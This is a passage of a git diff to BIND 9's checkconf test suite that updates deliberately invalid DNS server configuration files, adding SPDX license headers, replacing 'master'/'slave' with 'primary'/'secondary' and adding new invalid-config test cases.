--- a/bin/tests/system/checkconf/bad-sharedzone1.conf
+++ b/bin/tests/system/checkconf/bad-sharedzone1.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -14,7 +16,7 @@ view "first" {
 		"none";
 	};
 	zone "clone" {
-		type master;
+		type primary;
 		file "xxx";
 	};
 };
@@ -24,6 +26,6 @@ view "second" {
 	};
 	zone "clone" {
 		in-view "first";
-		type slave;
+		type secondary;
 	};
 };
diff --git a/bin/tests/system/checkconf/bad-sharedzone2.conf b/bin/tests/system/checkconf/bad-sharedzone2.conf
index 91b0472d9a..76032e3c22 100644
--- a/bin/tests/system/checkconf/bad-sharedzone2.conf
+++ b/bin/tests/system/checkconf/bad-sharedzone2.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -14,7 +16,7 @@ view "first" {
 		"none";
 	};
 	zone "clone" {
-		type master;
+		type primary;
 		file "xxx";
 	};
 };
@@ -26,6 +28,6 @@ view "second" {
 		in-view "first";
 		forward only;
 		forwarders { 10.0.0.100; };
-		type slave;
+		type secondary;
 	};
 };
diff --git a/bin/tests/system/checkconf/bad-sharedzone3.conf b/bin/tests/system/checkconf/bad-sharedzone3.conf
index e174ab1165..07e92bde4e 100644
--- a/bin/tests/system/checkconf/bad-sharedzone3.conf
+++ b/bin/tests/system/checkconf/bad-sharedzone3.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -17,7 +19,7 @@ view first {
 
 view second {
 	zone shared.example {
-		type master;
+		type primary;
 		file "shared.example.db";
 	};
 };
diff --git a/bin/tests/system/checkconf/bad-sig-validity.conf b/bin/tests/system/checkconf/bad-sig-validity.conf
deleted file mode 100644
index 3934e15390..0000000000
--- a/bin/tests/system/checkconf/bad-sig-validity.conf
+++ /dev/null
@@ -1,14 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-    sig-validity-interval 5000;
-};
diff --git a/bin/tests/system/checkconf/bad-static-initial-1.conf b/bin/tests/system/checkconf/bad-static-initial-1.conf
index a21495774a..91a5c10234 100644
--- a/bin/tests/system/checkconf/bad-static-initial-1.conf
+++ b/bin/tests/system/checkconf/bad-static-initial-1.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-static-initial-2.conf b/bin/tests/system/checkconf/bad-static-initial-2.conf
index 42ae422925..3b4754d7fd 100644
--- a/bin/tests/system/checkconf/bad-static-initial-2.conf
+++ b/bin/tests/system/checkconf/bad-static-initial-2.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-static-initial-3.conf b/bin/tests/system/checkconf/bad-static-initial-3.conf
index 8e85f8fa42..c396d9c212 100644
--- a/bin/tests/system/checkconf/bad-static-initial-3.conf
+++ b/bin/tests/system/checkconf/bad-static-initial-3.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-static-initial-4.conf b/bin/tests/system/checkconf/bad-static-initial-4.conf
index d2c499cdf3..2170d52217 100644
--- a/bin/tests/system/checkconf/bad-static-initial-4.conf
+++ b/bin/tests/system/checkconf/bad-static-initial-4.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-stub-masters-dialup.conf b/bin/tests/system/checkconf/bad-stub-masters-dialup.conf
index 750daf886f..a30236ca1e 100644
--- a/bin/tests/system/checkconf/bad-stub-masters-dialup.conf
+++ b/bin/tests/system/checkconf/bad-stub-masters-dialup.conf
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 controls { /* empty */ };
 options {
 	query-source address 10.53.0.2;
@@ -19,5 +32,5 @@ zone "example." {
 	dialup notify;
 	notify no;
 	file "example.bk";
-	// masters { 10.53.0.1; };
+	// primaries { 10.53.0.1; };
 };
diff --git a/bin/tests/system/checkconf/bad-transfer-source-v6.conf b/bin/tests/system/checkconf/bad-transfer-source-v6.conf
new file mode 100644
index 0000000000..da182ff35c
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-transfer-source-v6.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	port 5300;
+};
+
+zone example {
+	type secondary;
+	primaries { 1.2.3.4; };
+	transfer-source-v6 fd92:7065:b8e:ffff::1 port 5300;
+};
diff --git a/bin/tests/system/checkconf/bad-transfer-source.conf b/bin/tests/system/checkconf/bad-transfer-source.conf
new file mode 100644
index 0000000000..315c4109a6
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-transfer-source.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	port 5300;
+};
+
+zone example {
+	type secondary;
+	primaries { 1.2.3.4; };
+	transfer-source 10.53.0.1 port 5300;
+};
diff --git a/bin/tests/system/checkconf/bad-tsig.conf b/bin/tests/system/checkconf/bad-tsig.conf
deleted file mode 100644
index 21be03e9d2..0000000000
--- a/bin/tests/system/checkconf/bad-tsig.conf
+++ /dev/null
@@ -1,17 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/* Bad secret */
-key "badtsig" {
-	algorithm hmac-md5;
-	secret "jEdD+BPKg==";
-};
-
diff --git a/bin/tests/system/checkconf/bad-tsig.conf.in b/bin/tests/system/checkconf/bad-tsig.conf.in
new file mode 100644
index 0000000000..3e3023c5df
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-tsig.conf.in
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/* Bad secret */
+key "badtsig" {
+	algorithm @DEFAULT_HMAC@;
+	secret "jEdD+BPKg==";
+};
diff --git a/bin/tests/system/checkconf/bad-unpaired-keys.conf b/bin/tests/system/checkconf/bad-unpaired-keys.conf
new file mode 100644
index 0000000000..63b6dc2c65
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-unpaired-keys.conf
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+dnssec-policy unpaired-keys {
+	keys {
+		/* zsk without ksk */
+		zsk lifetime 30d algorithm 13;
+		/* ksk without zsk */
+		ksk lifetime 30d algorithm 7;
+	};
+};
+
+zone "example" {
+	type primary;
+	file "example.db";
+	dnssec-policy unpaired-keys;
+};
diff --git a/bin/tests/system/checkconf/bad-update-policy1.conf b/bin/tests/system/checkconf/bad-update-policy1.conf
index 13e21db605..fa1330c718 100644
--- a/bin/tests/system/checkconf/bad-update-policy1.conf
+++ b/bin/tests/system/checkconf/bad-update-policy1.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * self TXT;
diff --git a/bin/tests/system/checkconf/bad-update-policy10.conf b/bin/tests/system/checkconf/bad-update-policy10.conf
index 8c9a4adebf..39ac656d80 100644
--- a/bin/tests/system/checkconf/bad-update-policy10.conf
+++ b/bin/tests/system/checkconf/bad-update-policy10.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * krb5-selfsub TXT;
diff --git a/bin/tests/system/checkconf/bad-update-policy11.conf b/bin/tests/system/checkconf/bad-update-policy11.conf
index 6f81c31017..d148b588d1 100644
--- a/bin/tests/system/checkconf/bad-update-policy11.conf
+++ b/bin/tests/system/checkconf/bad-update-policy11.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * ms-selfsub TXT;
diff --git a/bin/tests/system/checkconf/bad-update-policy12.conf b/bin/tests/system/checkconf/bad-update-policy12.conf
index c636f1bf65..dc79db393a 100644
--- a/bin/tests/system/checkconf/bad-update-policy12.conf
+++ b/bin/tests/system/checkconf/bad-update-policy12.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * external TXT;
diff --git a/bin/tests/system/checkconf/bad-update-policy13.conf b/bin/tests/system/checkconf/bad-update-policy13.conf
index 4fb16f204a..694c73b48c 100644
--- a/bin/tests/system/checkconf/bad-update-policy13.conf
+++ b/bin/tests/system/checkconf/bad-update-policy13.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant a-key-name name TXT;
diff --git a/bin/tests/system/checkconf/bad-update-policy14.conf b/bin/tests/system/checkconf/bad-update-policy14.conf
index 1498180d45..af02ef240b 100644
--- a/bin/tests/system/checkconf/bad-update-policy14.conf
+++ b/bin/tests/system/checkconf/bad-update-policy14.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant a-key-name subdomain TXT;
diff --git a/bin/tests/system/checkconf/bad-update-policy15.conf b/bin/tests/system/checkconf/bad-update-policy15.conf
index 7591b0b36c..f8f7d1356f 100644
--- a/bin/tests/system/checkconf/bad-update-policy15.conf
+++ b/bin/tests/system/checkconf/bad-update-policy15.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant a-key-name wildcard TXT;
diff --git a/bin/tests/system/checkconf/bad-update-policy16.conf b/bin/tests/system/checkconf/bad-update-policy16.conf
index 6870e65e62..747c381c42 100644
--- a/bin/tests/system/checkconf/bad-update-policy16.conf
+++ b/bin/tests/system/checkconf/bad-update-policy16.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * tcp-self . "ptr(10 )";
diff --git a/bin/tests/system/checkconf/bad-update-policy17.conf b/bin/tests/system/checkconf/bad-update-policy17.conf
new file mode 100644
index 0000000000..a2955f27c4
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-update-policy17.conf
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone "example.com" {
+	type primary;
+	file "example.com.db";
+	update-policy {
+		grant realm krb5-subdomain-self-rhs PTR;
+	};
+};
diff --git a/bin/tests/system/checkconf/bad-update-policy18.conf b/bin/tests/system/checkconf/bad-update-policy18.conf
new file mode 100644
index 0000000000..090f621578
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-update-policy18.conf
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone "example.com" {
+	type primary;
+	file "example.com.db";
+	update-policy {
+		grant realm krb5-subdomain-self-rhs SRV;
+	};
+};
diff --git a/bin/tests/system/checkconf/bad-update-policy19.conf b/bin/tests/system/checkconf/bad-update-policy19.conf
new file mode 100644
index 0000000000..b8c636bc92
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-update-policy19.conf
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone "example.com" {
+	type primary;
+	file "example.com.db";
+	update-policy {
+		grant realm ms-subdomain-self-rhs PTR;
+	};
+};
diff --git a/bin/tests/system/checkconf/bad-update-policy2.conf b/bin/tests/system/checkconf/bad-update-policy2.conf
index 987e0967c3..0d5adf61a1 100644
--- a/bin/tests/system/checkconf/bad-update-policy2.conf
+++ b/bin/tests/system/checkconf/bad-update-policy2.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * selfsub TXT;
diff --git a/bin/tests/system/checkconf/bad-update-policy20.conf b/bin/tests/system/checkconf/bad-update-policy20.conf
new file mode 100644
index 0000000000..9775e2ced0
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-update-policy20.conf
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone "example.com" {
+	type primary;
+	file "example.com.db";
+	update-policy {
+		grant realm ms-subdomain-self-rhs SRV;
+	};
+};
diff --git a/bin/tests/system/checkconf/bad-update-policy3.conf b/bin/tests/system/checkconf/bad-update-policy3.conf
index ff0811f947..4583ede941 100644
--- a/bin/tests/system/checkconf/bad-update-policy3.conf
+++ b/bin/tests/system/checkconf/bad-update-policy3.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * selfwild TXT;
diff --git a/bin/tests/system/checkconf/bad-update-policy4.conf b/bin/tests/system/checkconf/bad-update-policy4.conf
index 396f69b81e..52a074d195 100644
--- a/bin/tests/system/checkconf/bad-update-policy4.conf
+++ b/bin/tests/system/checkconf/bad-update-policy4.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * ms-self TXT;
diff --git a/bin/tests/system/checkconf/bad-update-policy5.conf b/bin/tests/system/checkconf/bad-update-policy5.conf
index 718dad5346..38a6d4f19a 100644
--- a/bin/tests/system/checkconf/bad-update-policy5.conf
+++ b/bin/tests/system/checkconf/bad-update-policy5.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * krb5-self TXT;
diff --git a/bin/tests/system/checkconf/bad-update-policy6.conf b/bin/tests/system/checkconf/bad-update-policy6.conf
index 992e384a50..acca627438 100644
--- a/bin/tests/system/checkconf/bad-update-policy6.conf
+++ b/bin/tests/system/checkconf/bad-update-policy6.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * ms-subdomain TXT;
diff --git a/bin/tests/system/checkconf/bad-update-policy7.conf b/bin/tests/system/checkconf/bad-update-policy7.conf
index 3bd2185aeb..95541d41dc 100644
--- a/bin/tests/system/checkconf/bad-update-policy7.conf
+++ b/bin/tests/system/checkconf/bad-update-policy7.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * krb5-subdomain TXT;
diff --git a/bin/tests/system/checkconf/bad-update-policy8.conf b/bin/tests/system/checkconf/bad-update-policy8.conf
index c88b0e2519..d0534c46e1 100644
--- a/bin/tests/system/checkconf/bad-update-policy8.conf
+++ b/bin/tests/system/checkconf/bad-update-policy8.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * tcp-self TXT;
diff --git a/bin/tests/system/checkconf/bad-update-policy9.conf b/bin/tests/system/checkconf/bad-update-policy9.conf
index 382f899fec..96d201c36a 100644
--- a/bin/tests/system/checkconf/bad-update-policy9.conf
+++ b/bin/tests/system/checkconf/bad-update-policy9.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
